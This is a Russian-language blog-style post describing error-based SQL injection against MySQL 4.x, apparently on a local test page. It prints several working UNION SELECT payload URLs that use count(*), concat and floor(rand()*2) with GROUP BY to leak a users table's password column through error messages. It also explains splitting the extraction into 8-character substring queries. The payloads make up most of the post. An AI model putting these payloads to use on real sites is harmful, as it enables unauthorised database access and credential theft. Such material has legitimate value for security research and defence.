Сегодня столкнулся с реализацией вывода полезной информации из БД через инъекцию в сообщению об ошибке.

Воспользовался техниками Qwazar, здоровья ему и попутного ветра.

Версия СУБД была 4ой, поэтому идея с rand(0) (в комметариях Д.Евтеева) отвалилась, использовал вероятностный подход.

Результат функции version() попал в ошибку практически сразу, а вот на этапе получения данных пришлось труднее.

Общаясь параллельно с Д.Евтеевым, мы быстро прикинули, что где-то есть подстава, потому как чудес не свете не бывает ;)

Сначала мысль была, что на моей подопытной СУБД не выходит доставать в ошибку именно текстовые поля, потому что ID туда нормально попадало.

Но после нескольких экспериментов стало ясно, что в ошибку не идет именно текст из-за его длины, в итоге запрос типа:

http://localhost/sql.php?id=1+UNION+select+1,count(*),
concat((select pass from users limit 1),0x3a,
floor(rand()*2))+x+from+users+group+by+x

Пришлось разбить на 4 запроса:

http://localhost/sql.php?id=1+UNION+select+1,count(*),
concat((select substring(pass,1,8) from users limit 1),
0x3a,floor(rand()*2))+x+from+users+group+by+x

http://localhost/sql.php?id=1+UNION+select+1,count(*),

concat((select substring(pass,8,8) from users limit 1),
0x3a,floor(rand()*2))+x+from+users+group+by+x

http://localhost/sql.php?id=1+UNION+select+1,count(*),

concat((select substring(pass,16,8) from users limit 1),
0x3a,floor(rand()*2))+x+from+users+group+by+x

http://localhost/sql.php?id=1+UNION+select+1,count(*),

concat((select substring(pass,24,8) from users limit 1),
0x3a,floor(rand()*2))+x+from+users+group+by+x

Возможно, удалось бы и на 3, не проверял, точно могу сказать, что 16 символов уже не пролезает.

Таким образом, либо вероятность длинного запроса на версии 4.1 очень мала (1000 запросов прошли без ошибки), либо просто не выходит внести в сообщение об ошибке большое количество символов (8<=x<16).

Причины такого странного поведения можно пообсуждать, в то, что вероятность зависит от длины как-то совсем не вериться.

http://localhost/sql.php?id=1+UNION+select+1,count(*),concat((select pass from users limit 1),0x3a,floor(rand()*2))+x+from+users+group+by+x